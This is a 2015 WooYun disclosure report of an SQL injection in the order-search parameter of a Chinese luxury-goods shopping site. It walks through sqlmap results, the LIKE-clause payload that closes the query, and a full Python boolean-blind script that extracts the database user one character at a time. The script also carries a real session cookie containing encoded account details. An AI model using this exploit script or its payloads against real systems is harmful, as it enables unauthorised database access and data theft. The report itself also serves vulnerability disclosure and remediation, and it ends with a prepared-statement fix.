当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158853

漏洞标题:第五大道奢侈品网一处like查询型SQL注入(附利用脚本)

相关厂商:第五大道奢侈品网

漏洞作者: userlxx

提交时间:2015-12-08 00:56

修复时间:2016-01-25 18:11

公开时间:2016-01-25 18:11

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-08: 细节已通知厂商并且等待厂商处理中
2015-12-11: 厂商已经确认,细节仅向厂商公开
2015-12-21: 细节向核心白帽子及相关领域专家公开
2015-12-31: 细节向普通白帽子公开
2016-01-10: 细节向实习白帽子公开
2016-01-25: 细节向公众公开

简要描述:

第五大道奢侈品网成立于2009年初,是目前国内最大的在线奢侈品销售平台。
网站存在一处like查询的SQL注入,非dba,使用sqlmap未能拿出数据。写了个脚本验证漏洞可利用。

详细说明:

第五大道奢侈品网(http://**.**.**.**/)
1、订单查询处存在SQL注入(http://**.**.**.**/uuser/order_index?order_key=2011&order_time=&order_status=0),order_key是注入点。

订单查询.png


2、将报文放入sqlmap跑一通:boolean-based blind 注入。

sqlmap.png


3、sqlmap不能爆数据,那就只能手工代劳了。
首先,验证了一下基于时间延迟的盲注,想要利用太耗时。

sleep.png


4、想到此处是模糊查询,sql注入处的语句应该是like '%[input]%'。所以闭合sql语句,查出user()的长度为19。

无订单.png


有订单.png


5、写个脚本,取出user()信息。取出其他信息类似~

#encoding=gbk
import time
import urllib2
import httplib
import urllib
Keyword = '2011449317311'
headers = {
'Host' : '**.**.**.**',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Cookie': 'CNZZDATA1245175=cnzz_eid%3D20848413-1449310471-%26ntime%3D1449383486; Hm_lvt_6cea4b7347a17670aef0d0951a90a427=1449315137,1449317192,1449365997; NTKF_T2D_CLIENTID=guest54BA93D6-F927-7B28-B1E7-71EA0C4DCD18; history=370b3687c9d9f354cc61a79b57f1f6805610f8c9%7E45452%2C72386; Hm_lpvt_6cea4b7347a17670aef0d0951a90a427=1449388685; nTalk_CACHE_DATA={uid:kf_9823_ISME9754_guest54BA93D6-F927-7B,tid:1449383866174833}; session_nname=glkme2nabf9e3u9flp3epc8tk2; 5lux_v30user_rank=9dd643cf962b80a0bf9b18386a4c183fc798be09%7EeyJpZCI6IjcxMTI1OCIsInJhbmtfaWQiOiIxIiwicG9pbnRzIjoiMTAwMCIsInNwZW50X21vbmV5IjoiMC4wMCIsImJlY29tZV9yYW5rX3RpbWUiOiIxNDQ5MzE1NjExIiwiY3VycmVudF9yYW5rX29yZGVyX3RpbWVzIjoiMCIsImN1cnJlbnRfcmFua19zcGVudF9tb25leSI6IjAuMDAiLCJyYW5rX25hbWUiOiJcdTZjZThcdTUxOGNcdTc1MjhcdTYyMzciLCJkaXNjb3VudCI6IjEwMCIsInJhbmtfbGV2ZWwiOiIxIiwiZGlzY291bnRfdGl0bGUiOiIifQ%3D%3D; 5lux_v30cookie19810828=eeb783f5fb3bb2fc009319302277267a106a97b3%7EeyJ1bmFtZSI6InVzZXJseHhAMTYzLmNvbSIsInVpZCI6IjcxMTI1OCIsImZhdm9yX3BheW1lbnRfaWQiOm51bGwsIm1vYmlsZV9waG9uZSI6IjkzMTU2MTAiLCJpc192YWxpZGF0ZWRfbW9iaWxlIjoiMCJ9',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0',
'X-Forwarded-For': '**.**.**.**',
'Connection': 'keep-alive'}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,20):
for payload in payloads:
try:
conn = httplib.HTTPConnection('**.**.**.**', timeout=60)
prefix = "2011%' and "
postfix = " and '%'='"
str = '(select if(ascii(substring(lower(user()),%s,1))=%s,1,0))' % ( i, ord(payload))
params = {
'order_time' : '',
'order_status' : '0',
'order_key' : prefix + str + postfix,
}

conn.request(method='GET',url='/uuser/order_index?'+urllib.urlencode(params),headers=headers)
time.sleep(1)
html_doc = conn.getresponse().read()
conn.close()

if Keyword in html_doc:
user += payload
print '>' + user
except Exception,e:
print '[Exception]', e
break
print '\n[Done]MySQL user is:', user


user.png

漏洞证明:

sqlmap.png


user.png

修复方案:

SQL语句预编译,如concat('%',#name#,'%')。

版权声明:转载请注明来源 userlxx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-12-11 19:02

厂商回复:

CNVD未直接复现所述漏洞情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无